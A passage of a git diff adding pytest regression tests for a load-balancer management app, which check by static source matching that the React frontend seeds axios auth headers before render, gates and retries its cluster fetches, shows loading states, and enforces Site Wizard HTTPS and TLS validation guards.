weight=100, + check_enabled=True, + backup_server=False, + ssl_enabled=False, + ) + new_id = await create_server_row( + conn, backend_id=7, backend_name="be_test", cluster_id=1, server=server, + ) + assert new_id == 11 + + sql, *args = conn.fetchval.call_args.args + assert "INSERT INTO backend_servers" in sql + assert len(args) == 22 + assert args[0] == 7 # backend_id + assert args[1] == "be_test" # backend_name + assert args[2] == "srv1" + assert args[3] == "10.0.0.1" + assert args[4] == 8080 + assert args[21] == 1 # cluster_id last positional + + # mark_pending=True default → UPDATE + update_calls = [c for c in conn.execute.call_args_list + if c.args and "UPDATE backend_servers" in c.args[0]] + assert len(update_calls) == 1 + + +@pytest.mark.asyncio +async def test_create_server_row_uses_server_address_not_host(): + """Schema accuracy R38: column is server_address NOT host or ip.""" + conn = AsyncMock() + conn.fetchval.return_value = 1 + server = SimpleNamespace( + server_name="s", server_address="10.1.1.1", server_port=80, + weight=100, check_enabled=True, backup_server=False, ssl_enabled=False, + ) + await create_server_row(conn, 1, "be", 1, server) + sql, *_ = conn.fetchval.call_args.args + # Verify the column list explicitly mentions server_address, server_port, server_name + assert "server_address" in sql + assert "server_port" in sql + assert "server_name" in sql diff --git a/backend/tests/test_frontend_auth_bootstrap_phase_j.py b/backend/tests/test_frontend_auth_bootstrap_phase_j.py new file mode 100644 index 0000000..98b4857 --- /dev/null +++ b/backend/tests/test_frontend_auth_bootstrap_phase_j.py @@ -0,0 +1,1855 @@ +"""Phase J pin tests — frontend auth bootstrap + cluster fetch ordering. + +These are static-source assertions on the frontend bundle source. They are +the only safety net we have in CI for a class of bug that only manifests +at mount-time in the React commit phase, which is hard to exercise from a +backend pytest run without a JSDOM harness. + +Background — the bug these tests guard against: + +The provider hierarchy is + + + ... rest of the app ... + + + +React's useEffect commit phase fires CHILD effects before PARENT effects. +That means `ClusterProvider.useEffect` (which fires the very first +`axios.get('/api/clusters')`) runs BEFORE `AuthProvider.useEffect`. The +legacy code path set `axios.defaults.headers.common['Authorization']` +inside the parent's effect — too late. The first cluster request went +out un-authenticated → backend returned 401 → ClusterContext silently +committed `clusters=[]` → operators saw "no clusters" until the 30s +auto-refresh interval re-fired the request, by which point auth had +hydrated. Operators experienced this as + + "I deploy, refresh the page, and clusters don't appear until I + wait a long time. I close the browser and re-open and clusters + STILL don't appear for a while. There seems to be a UI problem." + +Three layers of defence are now in place; each layer has a pin below: + + 1) Module-level axios bootstrap in src/index.js — runs before + renders, seeds axios.defaults.Authorization synchronously AND + installs a request interceptor that re-reads the token on every + outbound request (cannot be raced). + + 2) AuthContext synchronous useState lazy initialisers — hydrate + user / token / axios.defaults during the AuthProvider RENDER + phase, which precedes ANY child useEffect. + + 3) ClusterContext auth-gate + exponential-backoff retry — wait until + AuthContext has hydrated before the first fetch, and recover from + transient 5xx / network errors with 4 fast retries instead of + blanking the cluster list and depending on the 30s interval. +""" + +from pathlib import Path + +import re + +import pytest + +_REPO = Path(__file__).resolve().parent.parent.parent +_FRONTEND_SRC = _REPO / "frontend" / "src" +_INDEX = _FRONTEND_SRC / "index.js" +_AUTH = _FRONTEND_SRC / "contexts" / "AuthContext.js" +_CLUSTER = _FRONTEND_SRC / "contexts" / "ClusterContext.js" + + +def _read_or_skip(path: Path) -> str: + """Read a frontend source file, or skip the calling test cleanly when + the frontend tree is not mounted in the current pytest environment. + + The CI Docker test image (``backend/Dockerfile.test``) intentionally + only mounts ``backend/`` so the unit-test step has a small, + fast-to-build container. Static-source pins that reference frontend + files therefore have no source to read in CI Docker — without this + helper they would blow up with a generic ``FileNotFoundError`` and + abort the build, even though the pins themselves are correctly + written. Skipping is the right behaviour: the pins still run on + every developer's local pytest pass (where the full repo is on + disk) AND on the corporate-pipeline build step that runs pytest + from the repository root, which is where regressions would be + caught.""" + if not path.exists(): + pytest.skip( + f"frontend tree not mounted at {path} — skipping pin " + "(runs only when the repo root is available, e.g. local " + "developer pytest or pipeline integration step)" + ) + return path.read_text() + + +# --------------------------------------------------------------------------- +# Layer 1 — module-level axios bootstrap in src/index.js +# --------------------------------------------------------------------------- + + +def test_phase_j_index_imports_axios_for_bootstrap(): + src = _read_or_skip(_INDEX) + assert "import axios from 'axios'" in src, ( + "Phase J regression: src/index.js no longer imports axios. The " + "module-level bootstrap that seeds axios.defaults.Authorization " + "synchronously (so child useEffects don't race AuthProvider) " + "depends on this import." + ) + + +def test_phase_j_index_seeds_default_authorization_header_at_module_load(): + src = _read_or_skip(_INDEX) + # The bootstrap IIFE must call into both branches: synchronous + # default-header seed AND a request interceptor. + assert "axios.defaults.headers.common['Authorization']" in src, ( + "Phase J regression: src/index.js no longer seeds the axios " + "default Authorization header at module-load time. Without " + "this, a child provider's mount-time fetch can race the parent " + "provider's effect and dispatch with no auth header → 401 → " + "operator sees an empty cluster list." + ) + assert "axios.interceptors.request.use" in src, ( + "Phase J regression: src/index.js no longer installs a request " + "interceptor. The interceptor is the belt-and-suspenders defence " + "that re-reads the token on every outbound request and cannot " + "be raced by mount ordering." + ) + # The bootstrap must read from BOTH legacy storage keys for + # backward compatibility with sessions saved by older builds. + assert "'token'" in src and "'authToken'" in src, ( + "Phase J regression: src/index.js bootstrap no longer reads " + "from BOTH the canonical 'token' key and the legacy 'authToken' " + "key — sessions saved by older builds would silently fail to " + "authenticate after the upgrade." + ) + + +def test_phase_j_index_bootstrap_runs_before_react_render(): + """Order matters: the bootstrap IIFE must execute BEFORE + ReactDOM.createRoot(...).render(...) so that no React tree (and + therefore no useEffect) can fire before the axios defaults are + seeded.""" + src = _read_or_skip(_INDEX) + # Match the IIFE invocation line: "})();" at end of bootstrapAxiosAuth. + iife_idx = src.find("bootstrapAxiosAuth") + render_idx = src.find("root.render(") + assert iife_idx != -1, ( + "Phase J regression: bootstrapAxiosAuth IIFE missing from " + "src/index.js." + ) + assert render_idx != -1, ( + "Phase J regression: root.render() missing from " + "src/index.js." + ) + assert iife_idx < render_idx, ( + "Phase J regression: bootstrapAxiosAuth IIFE is declared AFTER " + "root.render(). The IIFE must run before React renders so the " + "axios defaults are seeded before ANY useEffect can fire." + ) + + +# --------------------------------------------------------------------------- +# Layer 2 — AuthContext synchronous useState initialisers +# --------------------------------------------------------------------------- + + +def test_phase_j_authcontext_uses_lazy_initialisers_to_hydrate_synchronously(): + src = _read_or_skip(_AUTH) + # The new helper that hydrates from localStorage during the render + # phase. Pinned by name so a future refactor that drops the helper + # but keeps the symptom (post-mount async hydration) fails this + # test. + assert "_hydrateAuthSync" in src, ( + "Phase J regression: AuthContext no longer defines the " + "_hydrateAuthSync helper that hydrates auth state during the " + "render phase. Hydrating in a useEffect re-introduces the " + "mount-time race that produced the 'wait a while for clusters' " + "symptom." + ) + # The lazy initialiser pattern is `useState(_hydrateAuthSync)` for + # the first state — capturing the result once and feeding the rest. + assert "useState(_hydrateAuthSync)" in src, ( + "Phase J regression: AuthContext no longer uses the lazy " + "initialiser form `useState(_hydrateAuthSync)`. Without the " + "lazy form, the helper would be invoked on every render, " + "polluting render with side effects and breaking the " + "single-source-of-truth invariant." + ) + # axios.defaults.Authorization must be set INSIDE _hydrateAuthSync — + # verify by locating the helper body and asserting the assignment is + # within it. + helper_idx = src.find("const _hydrateAuthSync") + assert helper_idx != -1 + # The helper body extends until the next top-level `};` close. Match + # the first `};` that is preceded by a `return {` (the helper's + # final return) — this is a coarse but stable boundary. + helper_end = src.find("\n};", helper_idx) + assert helper_end != -1 + helper_body = src[helper_idx:helper_end] + assert ( + "axios.defaults.headers.common['Authorization']" in helper_body + ), ( + "Phase J regression: _hydrateAuthSync no longer seeds the " + "axios default Authorization header. The provider-level seed " + "is the belt to the index.js bootstrap's suspenders — without " + "it, AuthContext is no longer self-sufficient when imported " + "in isolation (tests / storybook / SSR shims)." + ) + + +def test_phase_j_authcontext_initial_loading_is_false_by_default(): + """Loading state must default to FALSE post-hydration so child + consumers (e.g. ClusterContext's auth-gate) can decide immediately + whether to fetch.""" + src = _read_or_skip(_AUTH) + # The loading state's initial value comes from the hydration helper, + # which sets `loading: false` in every code path it returns. + helper_idx = src.find("const _hydrateAuthSync") + helper_end = src.find("\n};", helper_idx) + assert helper_idx != -1 and helper_end != -1 + helper_body = src[helper_idx:helper_end] + # Every return statement inside the helper must include + # `loading: false`. Match each `return { … };` block by anchoring on + # the closing `};` line — a non-greedy `[\s\S]*?` lets the body + # contain inner braces (e.g. `: {}` defaults). + return_clauses = re.findall( + r"return\s*\{[\s\S]*?\n\s*\};", helper_body + ) + assert return_clauses, ( + "Phase J regression: _hydrateAuthSync no longer contains " + "return statements — the helper has been gutted." + ) + for clause in return_clauses: + assert "loading: false" in clause, ( + "Phase J regression: at least one _hydrateAuthSync return " + f"branch no longer sets `loading: false`. Branch was:\n{clause}" + ) + + +# --------------------------------------------------------------------------- +# Layer 3 — ClusterContext auth-gate + exponential-backoff retry +# --------------------------------------------------------------------------- + + +def test_phase_j_clustercontext_consumes_useauth_for_auth_gate(): + src = _read_or_skip(_CLUSTER) + assert "import { useAuth } from './AuthContext'" in src, ( + "Phase J regression: ClusterContext no longer imports useAuth. " + "Without consuming AuthContext, the cluster fetch cannot wait " + "for auth hydration and re-introduces the mount-time race." + ) + assert "const { isAuthenticated, loading: authLoading } = useAuth();" in src, ( + "Phase J regression: ClusterContext no longer reads " + "isAuthenticated / authLoading from AuthContext. The auth-gate " + "guard depends on these values." + ) + + +def test_phase_j_clustercontext_skips_fetch_until_auth_is_ready(): + """The fetch effect must short-circuit when auth is still loading + OR the user isn't authenticated. Both paths matter: + - authLoading=true: avoid the legacy mount-time race. + - isAuthenticated=false: avoid a wasted 401 round-trip on the + public login page and stale data after a session swap. + """ + src = _read_or_skip(_CLUSTER) + # The effect body must short-circuit on both conditions before + # calling fetchClusters. + assert "if (authLoading) return undefined;" in src, ( + "Phase J regression: ClusterContext no longer short-circuits " + "when authLoading is true." + ) + assert "if (!isAuthenticated) {" in src, ( + "Phase J regression: ClusterContext no longer short-circuits " + "when isAuthenticated is false." + ) + # The dependency array must include isAuthenticated + authLoading so + # the effect re-runs (and finally fetches) when the user logs in. + assert "[isAuthenticated, authLoading, fetchClusters]" in src, ( + "Phase J regression: ClusterContext effect dependency array no " + "longer includes isAuthenticated/authLoading — the fetch will " + "not re-run when the user finishes logging in." + ) + + +def test_phase_j_clustercontext_sets_loading_true_before_first_authgated_fetch(): + """Phase J audit fix #3. + + The auth-gated effect originally took both branches of the gate as + "settled, loading=false": + if (!isAuthenticated) { + ... + setLoading(false); ← visible to the UI + return; + } + retryAttemptRef.current = 0; + fetchClusters(); ← async; flips loading=false at the + end of `finally`, but until then + the UI sees `loading=false` from + the previous branch. + + On the login flow, this produced a 1-2 second window where the UI + rendered `loading=false + clusters=[]` while /api/clusters was in + flight. Downstream consumers (Frontends, Backend Servers, SSL + Certificate Management, etc.) interpreted that as "list loaded, + zero clusters" and showed the "No Cluster Selected" affordance + instead of a spinner. + + Pin the explicit `setLoading(true)` immediately before the first + `fetchClusters()` so consumers see "loading" until the first + response settles. The 30s background refresh ticks intentionally + do NOT flip loading (the interval handler calls fetchClusters() + directly without touching loading), avoiding a periodic spinner + flicker. + """ + src = _read_or_skip(_CLUSTER) + # The first-fetch site of the auth-gated effect must include an + # explicit setLoading(true) immediately above fetchClusters(). + # We pattern-match the precise sequence with non-greedy \s+ so the + # pin survives whitespace tweaks but still anchors on the + # "setLoading(true) → fetchClusters()" pairing. + assert re.search( + r"setLoading\(true\)\s*;\s*\n\s*fetchClusters\(\)\s*;", + src, + ), ( + "Phase J audit fix #3 regression: ClusterContext no longer " + "calls setLoading(true) immediately before the first " + "fetchClusters() inside the auth-gated effect. The login flow " + "would briefly render `loading=false + clusters=[]` and " + "downstream consumers would show 'No Cluster Selected' " + "instead of a spinner for the duration of the round-trip." + ) + + +def test_phase_j_clustercontext_resets_retry_counter_after_settling(): + """Phase J audit fix #5. + + `retryAttemptRef` was reset only on: + a) successful fetch (`retryAttemptRef.current = 0` in the success + branch), and + b) the auth gate transition (mount / login / logout) at the top + of the useEffect. + + The "settle into empty state" branch — taken when the retry budget + is exhausted (4 transient failures in a row) OR when the failure + was non-retryable (401/403) — did NOT reset the counter. After an + exhausted run, `retryAttemptRef` stayed at 4 for the entire user + session, so the very next fetchClusters() invocation: + + - the 30s background refresh interval, which keeps firing + forever; + - an explicit fetchClusters() call from one of the mutators + (addCluster, updateCluster, deleteCluster, testConnection, + setDefaultCluster); + + …would short-circuit the retry pattern on the FIRST transient + failure (`retryAttemptRef.current < 4` is false) and dump the + operator straight back into the empty state. The retry budget + was effectively a one-shot resource. + + Pin the reset: the empty-state branch must explicitly reset + `retryAttemptRef.current = 0` so the next invocation gets a fresh + retry budget. + """ + src = _read_or_skip(_CLUSTER) + # Anchor on the unique catch-block "Non-retryable (auth)" comment + # that lives inside the settle-into-empty-state branch. The + # success-path empty-state branch (cluster list returned zero + # clusters from the server) does NOT need this reset because + # retryAttemptRef is already reset to 0 at the start of the + # success path. + anchor_idx = src.find("// Non-retryable (auth) or retries exhausted") + assert anchor_idx != -1, ( + "Phase J audit fix #5 regression: the catch-block empty-state " + "branch comment was removed. The pin relies on this comment " + "as a stable anchor — please update the pin if the comment " + "moved." + ) + # Take the next ~1500 chars after the anchor and assert the reset + # appears within that window (i.e. inside the same branch body). + # The window has to be generous because the inline rationale + # comment for the reset is long. + window = src[anchor_idx: anchor_idx + 1500] + assert "retryAttemptRef.current = 0" in window, ( + "Phase J audit fix #5 regression: the settle-into-empty-state " + "branch in fetchClusters no longer resets retryAttemptRef. " + "An exhausted retry chain would leave the counter at 4 and " + "every subsequent fetchClusters() invocation would skip the " + "retry pattern on the first transient failure — silently " + "downgrading the retry budget to a one-shot resource." + ) + + +def test_phase_j_clustercontext_keeps_loading_true_while_retry_is_queued(): + """Phase J audit fix #4. + + The first cut of Phase J flipped `loading=false` in `finally` on + every fetchClusters() invocation, including the ones that scheduled + a retry. That meant a transient first-fetch failure produced this + timeline: + t=0 setLoading(true), clusters=[] + t=0+ fetchClusters() in flight + t=Δ response fails → catch schedules a retry timer → + finally setLoading(false) + t=Δ UI sees `loading=false + clusters=[]` → renders + "No Cluster Selected" between retry waves + t=Δ+1s retry succeeds → clusters populated → re-render + + Up to ~15 seconds of misleading "No Cluster Selected" was visible + to the operator across the 4-attempt retry budget — exactly the + symptom Phase J was supposed to eliminate. + + Pin the conditional release: `setLoading(false)` only fires when + `retryTimerRef.current === null` (i.e. no retry is queued). The + spinner therefore stays visible across the entire retry budget so + the operator never sees the empty state until the retries are + fully exhausted. + """ + src = _read_or_skip(_CLUSTER) + # Match the conditional release pattern. Use a flexible whitespace + # match so the pin survives formatter tweaks. + assert re.search( + r"if\s*\(\s*retryTimerRef\.current\s*===\s*null\s*\)\s*\{\s*\n\s*setLoading\(false\)\s*;\s*\n\s*\}", + src, + ), ( + "Phase J audit fix #4 regression: ClusterContext finally clause " + "no longer guards `setLoading(false)` behind " + "`retryTimerRef.current === null`. Without the guard, the " + "spinner blinks off between retry waves and the UI flashes " + '"No Cluster Selected" for up to ~15s while retries are still ' + "in flight." + ) + + +def test_phase_j_clustercontext_uses_selected_cluster_ref_to_avoid_stale_closure(): + """Phase J audit fix #2. + + `fetchClusters` is wrapped in `useCallback(…, [])` so the 30s + auto-refresh interval gets a stable reference. That stability comes + at a cost: any closure-captured state inside the callback freezes + at the value it had on the first render. The "update existing + selection with fresh agent data" branch reads `selectedCluster?.id`, + so without a ref it would read `null` forever — the UI's + operator-visible agent-health dot would never refresh, defeating + the whole point of the 30-second interval. + + Pin the well-known fix pattern: keep `selectedCluster` in a ref, + update the ref via a passive effect, and read the ref inside the + callback. + """ + src = _read_or_skip(_CLUSTER) + assert "selectedClusterRef" in src, ( + "Phase J audit fix #2 regression: ClusterContext no longer " + "keeps a `selectedClusterRef` ref to bridge the live " + "`selectedCluster` state into the stable `useCallback` " + "fetchClusters body. Without it, the 30s auto-refresh updates " + "stale data — the agent-health dot in the cluster selector " + "would never refresh." + ) + # The ref must be updated by a passive effect that depends on + # `selectedCluster` so each new selection is reflected before the + # next refresh tick fires. + assert "selectedClusterRef.current = selectedCluster" in src, ( + "Phase J audit fix #2 regression: ClusterContext no longer " + "updates `selectedClusterRef.current` from `selectedCluster` " + "in a passive effect — the ref would never advance past its " + "initial null value." + ) + # The callback must READ the ref (not the captured state) so the + # stale closure cannot reintroduce itself. + assert "selectedClusterRef.current?.id" in src, ( + "Phase J audit fix #2 regression: ClusterContext no longer " + "reads the selected cluster id from the ref inside " + "fetchClusters. Reading the captured `selectedCluster` from " + "the closure would freeze the value at the first render's " + "null and break the agent-health refresh." + ) + + +def test_phase_j_clustercontext_retries_with_exponential_backoff_on_transient_errors(): + src = _read_or_skip(_CLUSTER) + # The catch block now distinguishes between auth errors (no retry) + # and transient errors (retry up to 4 times with backoff). + assert "retryAttemptRef" in src, ( + "Phase J regression: ClusterContext no longer keeps a retry " + "attempt counter. Without it, a transient 5xx on the first " + "fetch silently commits an empty cluster list and the user " + "must wait for the 30s auto-refresh — exactly the symptom " + "Phase J fixes." + ) + assert "retryTimerRef" in src, ( + "Phase J regression: ClusterContext no longer keeps a retry " + "timer ref. The timer must be cleared on unmount and on the " + "next successful fetch." + ) + # Cap at 4 attempts and exponential backoff (1s, 2s, 4s, 8s). + assert "retryAttemptRef.current < 4" in src, ( + "Phase J regression: ClusterContext retry cap moved away from " + "4 attempts. Total retry budget should be ~15s before settling " + "into the empty state." + ) + assert "Math.pow(2, attempt)" in src, ( + "Phase J regression: ClusterContext no longer uses exponential " + "backoff for retries — switched to fixed delay or removed." + ) + # 401/403 must NOT trigger a retry — re-auth is the user's job. + assert "status >= 500" in src, ( + "Phase J regression: ClusterContext no longer restricts retries " + "to 5xx responses (and network errors). A 401 retry loop would " + "spam the backend before the user can log in." + ) + + +# --------------------------------------------------------------------------- +# Phase J audit fix #6 — page-level "loading vs no cluster selected" pins +# --------------------------------------------------------------------------- +# +# The original symptom the user reported was specifically about page +# CONTENT, not about the cluster selector itself. ClusterSelector +# already shows a "Loading clusters..." spinner while the +# ClusterContext is in flight, but the page-level components (SSL +# Management, Configuration, Dashboard, Bulk Config Import, Bulk +# Version History) checked `!selectedCluster` directly and rendered +# their permanent "No Cluster Selected" affordances. During the +# legitimate post-deploy fetch window — including the 15-second +# exponential-backoff retry budget that audit fix #4 deliberately +# keeps `loading=true` for — `selectedCluster` is null but +# `loading=true`, so those pages displayed the misleading "you forgot +# to pick a cluster" message even though the cluster list was simply +# still being fetched. +# +# Audit fix #6 distinguishes the two states at every page-level call +# site by also consuming `loading` from useCluster() and showing a +# neutral "Loading clusters…" affordance during the fetch. Each pin +# below guards one call site so a future regression can't silently +# bring back the user-visible bug. + +_PAGES_WITH_NO_CLUSTER_AFFORDANCE = [ + ("frontend/src/components/SSLManagement.js", + "loading: clustersLoading"), + ("frontend/src/components/Configuration.js", + "loading: clustersLoading"), + ("frontend/src/components/DashboardV2.js", + "loading: clustersLoading"), + ("frontend/src/components/BulkConfigImport.js", + "loading: clustersLoading"), + ("frontend/src/components/BulkVersionHistory.js", + "loading: clustersLoading"), + ("frontend/src/components/BackendServers.js", + "loading: clustersLoading"), + ("frontend/src/components/FrontendManagement.js", + "loading: clustersLoading"), + ("frontend/src/components/ApplyManagement.js", + "loading: clustersLoading"), +] + + +@pytest.mark.parametrize("relpath,marker", _PAGES_WITH_NO_CLUSTER_AFFORDANCE) +def test_phase_j_page_consumes_cluster_loading_state(relpath, marker): + """Phase J audit fix #6. + + Each page that renders a "No Cluster Selected" affordance must now + also pull `loading` out of useCluster() so it can distinguish "the + operator forgot to pick a cluster" from "the cluster list is + still being fetched". Without this, the retry-budget window keeps + the page-level warning on screen for up to ~15s after a deploy or + login — exactly the symptom Phase J was supposed to eliminate. + """ + path = _REPO / relpath + src = _read_or_skip(path) + assert marker in src, ( + f"Phase J audit fix #6 regression: {relpath} no longer " + f"consumes the `loading` state from useCluster() (looked for " + f"`{marker}`). Without it the page renders its 'No Cluster " + f"Selected' affordance during the legitimate post-deploy " + f"fetch window, reproducing the original cluster-listing-" + f"delay bug." + ) + + +_PAGES_WITH_LOADING_BRANCH = [ + "frontend/src/components/SSLManagement.js", + "frontend/src/components/Configuration.js", + "frontend/src/components/DashboardV2.js", + "frontend/src/components/BulkConfigImport.js", + "frontend/src/components/BulkVersionHistory.js", + "frontend/src/components/BackendServers.js", + "frontend/src/components/FrontendManagement.js", + "frontend/src/components/ApplyManagement.js", +] + + +@pytest.mark.parametrize("relpath", _PAGES_WITH_LOADING_BRANCH) +def test_phase_j_page_renders_loading_clusters_branch(relpath): + """Phase J audit fix #6 — the loading-aware branch must render a + neutral "Loading clusters…" affordance, not silently swallow the + case (which would render an entirely blank page during the fetch + window) and not flip straight to the warning. + + We assert by case-insensitive substring search because Ant Design + typography variants ("Loading clusters…" with U+2026, "Loading + clusters..." with three dots, "Loading clusters") all map to the + same UX. The `clustersLoading` ternary keeps the warning out of + sight while the fetch is in flight. + """ + path = _REPO / relpath + src = _read_or_skip(path) + assert "clustersLoading" in src, ( + f"Phase J audit fix #6 regression: {relpath} no longer " + f"references the renamed `clustersLoading` flag. The page " + f"must use it to gate its 'No Cluster Selected' affordance " + f"behind `!clustersLoading` so the warning is hidden during " + f"the legitimate post-deploy fetch window." + ) + assert re.search(r"Loading\s+clusters", src, flags=re.IGNORECASE), ( + f"Phase J audit fix #6 regression: {relpath} no longer " + f"renders a 'Loading clusters…' affordance during the " + f"in-flight cluster fetch. Without it the page goes blank " + f"between login and the first successful /api/clusters " + f"response — operators interpret that as a broken page." + ) + + +# ───────────────────────────────────────────────────────────────────── +# Phase K — Site Wizard validation hardening (Phase A frontend pin) +# ───────────────────────────────────────────────────────────────────── + + +def test_phase_k_step2_next_blocks_on_https_redirect_with_redirect_rules(): + """Phase K Phase B — the Step 2 Next handler must hard-block when + `https_redirect=true` and `redirectRules.length > 0`. Pre-Phase-K + the conflict only surfaced as a warning Alert + a Step 4 toast, + so operators happily reached Review and were punted back with an + opaque 422. We pin the gate by asserting the specific guard + expression is wired into the Step 2 Next branch.""" + path = _REPO / "frontend" / "src" / "components" / "SiteWizard.js" + src = _read_or_skip(path) + # The Step 2 branch lives inside the Next-button onClick handler; + # pin both halves of the conjunction and the early-return so a + # well-meaning refactor that demotes the gate back to a warning + # can't slip through. + assert "if (httpsRedirectNow && (aclBuilderData.redirectRules" in src, ( + "Phase K Phase B regression: SiteWizard's Step 2 Next handler " + "no longer hard-blocks on the https_redirect ⊕ redirect_rules " + "conflict. Without the block, operators reach Step 4 and only " + "discover the Pydantic conflict at the final POST." + ) + assert ( + "HTTP→HTTPS redirect cannot be combined with custom redirect rules" + in src + ), ( + "Phase K Phase B regression: the operator-facing Step 2 block " + "message no longer matches the Pydantic validator's wording, " + "which makes the resolution path ambiguous." + ) + + +def test_phase_k_step2_next_blocks_on_tcp_mode_with_https_redirect(): + """Phase K Phase B — same hard-block must catch + `frontend.mode==='tcp' + https_redirect===true`. This combination + used to silently produce a config the agent's `haproxy -c` + rejected only at apply time. Phase A's new + `reject_tcp_mode_with_https_redirect` validator is the source of + truth; this UI gate just surfaces it earlier.""" + path = _REPO / "frontend" / "src" / "components" / "SiteWizard.js" + src = _read_or_skip(path) + assert "if (frontendModeNow === 'tcp' && httpsRedirectNow)" in src, ( + "Phase K Phase B regression: SiteWizard's Step 2 Next handler " + "no longer blocks the TCP-mode + https_redirect=true " + "combination. Pydantic's reject_tcp_mode_with_https_redirect " + "validator (Phase A) catches this at submit, but operators " + "shouldn't reach Step 4 with a known-bad payload." + ) + assert "TCP frontends operate at L4" in src, ( + "Phase K Phase B regression: the operator-facing TCP-mode " + "block message no longer explains why the combination is " + "invalid (L4 cannot inspect HTTP headers)." + ) + + +def test_phase_k_aclbuilder_disables_redirect_rules_section_when_https_redirect_on(): + """Phase K Phase B — the Redirect Rules section in + ACLRuleBuilder must visually disable when the parent passes + `disableRedirectRules=true`. The flag is wired from + `watchedHttpsRedirect` in `SiteWizard.js` — both ends pin.""" + builder_path = _REPO / "frontend" / "src" / "components" / "ACLRuleBuilder.js" + builder_src = _read_or_skip(builder_path) + assert "disableRedirectRules = false" in builder_src, ( + "Phase K Phase B regression: ACLRuleBuilder no longer accepts " + "the `disableRedirectRules` prop. The wizard relies on this " + "prop to grey out the Redirect Rules section when the " + "https_redirect switch is on." + ) + assert "aria-disabled={disableRedirectRules" in builder_src, ( + "Phase K Phase B regression: ACLRuleBuilder no longer " + "exposes `aria-disabled` on the Redirect Rules section. " + "Screen readers cannot announce the disabled state without " + "it (a11y best practice)." + ) + + wizard_path = _REPO / "frontend" / "src" / "components" / "SiteWizard.js" + wizard_src = _read_or_skip(wizard_path) + assert "disableRedirectRules={!!watchedHttpsRedirect}" in wizard_src, ( + "Phase K Phase B regression: SiteWizard no longer wires " + "`watchedHttpsRedirect` into ACLRuleBuilder's " + "`disableRedirectRules` prop. Without this wiring, the " + "Redirect Rules section stays editable while the switch is " + "on — an operator can then author the conflict that the " + "Pydantic validator will reject at submit." + ) + + +def test_phase_k_https_redirect_switch_disabled_in_tcp_mode(): + """Phase K Phase B — the HTTP→HTTPS redirect Switch must be + `disabled` when `watchedFrontendMode === 'tcp'`. Plus a + `useEffect` that auto-clears `https_redirect` to false when the + operator switches into TCP mode (so a previously-enabled flag + doesn't get stuck on a TCP frontend). Both pin together.""" + path = _REPO / "frontend" / "src" / "components" / "SiteWizard.js" + src = _read_or_skip(path) + assert "disabled={watchedFrontendMode === 'tcp'}" in src, ( + "Phase K Phase B regression: the https_redirect Switch is no " + "longer disabled when the frontend is in TCP mode. Operators " + "could re-enable a flag the renderer cannot respect at L4." + ) + assert "watchedFrontendMode === 'tcp' && watchedHttpsRedirect" in src, ( + "Phase K Phase B regression: SiteWizard no longer auto-clears " + "`https_redirect` when the operator switches into TCP mode. " + "The TCP-Switch disable alone is insufficient — a flag set " + "BEFORE the mode change would silently survive into the " + "submitted payload and get rejected by the Phase A " + "reject_tcp_mode_with_https_redirect validator." + ) + assert ( + "form.setFields([\n { name: ['frontend', 'https_redirect'], value: false },\n ]);" + in src + ) or ( + "form.setFields([{ name: ['frontend', 'https_redirect'], value: false }])" + in src + ), ( + "Phase K Phase B regression: the auto-clear effect no longer " + "uses `form.setFields([{ name: ['frontend','https_redirect'], " + "value: false }])`. Antd's `setFieldsValue({frontend:{...}})` " + "shape would replace the entire frontend group, wiping any " + "in-progress fields the operator had just typed." + ) + + +def test_phase_k_advanced_tls_collapse_default_closed(): + """Phase K Phase D — the rarely-used HTTPS bind knobs + (https_bind_port, https_frontend_name_suffix, ssl_alpn, + ssl_ciphers, ssl_ciphersuites, ssl_strict_sni, ssl_verify) + must live inside an `advanced-tls` Collapse that defaults to + closed. This declutters the SSL step for the 99% case while + keeping the safe-defaults summary visible above. + """ + path = _REPO / "frontend" / "src" / "components" / "SiteWizard.js" + src = _read_or_skip(path) + assert "Advanced TLS settings" in src, ( + "Phase K Phase D regression: the rarely-used HTTPS bind " + "knobs are no longer nested under an 'Advanced TLS " + "settings' Collapse — the SSL step is back to the " + "11-field flat layout that overwhelmed operators " + "pre-Phase K." + ) + assert "key: 'advanced-tls'" in src, ( + "Phase K Phase D regression: the Advanced Collapse no " + "longer uses key='advanced-tls'. The auto-open logic " + "below relies on this key to pre-open the Collapse on " + "draft resume." + ) + assert "advancedHasNonDefault ? ['advanced-tls'] : []" in src, ( + "Phase K Phase D regression: the Advanced Collapse no " + "longer auto-opens when a draft has non-default values. " + "Resumed drafts with custom https_bind_port / ssl_strict_sni " + "/ ssl_verify would silently hide those values behind the " + "closed collapse." + ) + + +def test_phase_k_advanced_tls_collapse_opens_when_draft_has_non_default_values(): + """Phase K Phase D — the auto-open derivation must check the + fields that changing from default would meaningfully alter + behaviour: https_bind_port, https_frontend_name_suffix, + ssl_alpn, ssl_ciphers, ssl_ciphersuites, ssl_strict_sni, + ssl_verify. Static-source pin asserts every field is part of + the truthy set so a future addition cannot quietly slip into + the always-hidden bucket. + """ + path = _REPO / "frontend" / "src" / "components" / "SiteWizard.js" + src = _read_or_skip(path) + for field, marker in ( + ("https_bind_port", "sslVals.https_bind_port"), + ("https_frontend_name_suffix", "sslVals.https_frontend_name_suffix"), + ("ssl_alpn", "sslVals.ssl_alpn"), + ("ssl_ciphers", "sslVals.ssl_ciphers"), + ("ssl_ciphersuites", "sslVals.ssl_ciphersuites"), + ("ssl_strict_sni", "sslVals.ssl_strict_sni"), + ("ssl_verify", "sslVals.ssl_verify"), + ): + assert marker in src, ( + f"Phase K Phase D regression: SSL field `{field}` is no " + "longer part of the Advanced Collapse auto-open " + "derivation. A draft with a custom value will silently " + "hide that value behind the closed Collapse on resume." + ) + + +def test_phase_k_hsts_preload_switch_disabled_when_prerequisites_unmet(): + """Phase K Phase D — UI parity for the Phase A backend + `reject_hsts_preload_without_hsts` validator. The `hsts_preload` + Switch must be disabled until the three preload prerequisites + are met (HSTS enabled, max-age ≥ 1 year, includeSubDomains). + Static-source pin asserts the dependency expression ANDs all + three preconditions. + """ + path = _REPO / "frontend" / "src" / "components" / "SiteWizard.js" + src = _read_or_skip(path) + # The preload guard is built up as `preloadOk = hstsEnabled && + # hstsIncl && typeof hstsMaxAge === 'number' && hstsMaxAge >= + # 31536000`. Pin each ANDed precondition individually so a + # refactor that drops one guard is detected. + for required in ( + "hstsEnabled &&", + "hstsIncl &&", + "hstsMaxAge >= 31536000", + ): + assert required in src, ( + "Phase K Phase D regression: the hsts_preload Switch's " + "disable predicate no longer ANDs the precondition " + f"`{required}`. Operators could re-author the unreachable " + "preload state the Pydantic validator will reject." + ) + assert "disabled={!preloadOk}" in src, ( + "Phase K Phase D regression: the hsts_preload Switch is no " + "longer wired to the `preloadOk` 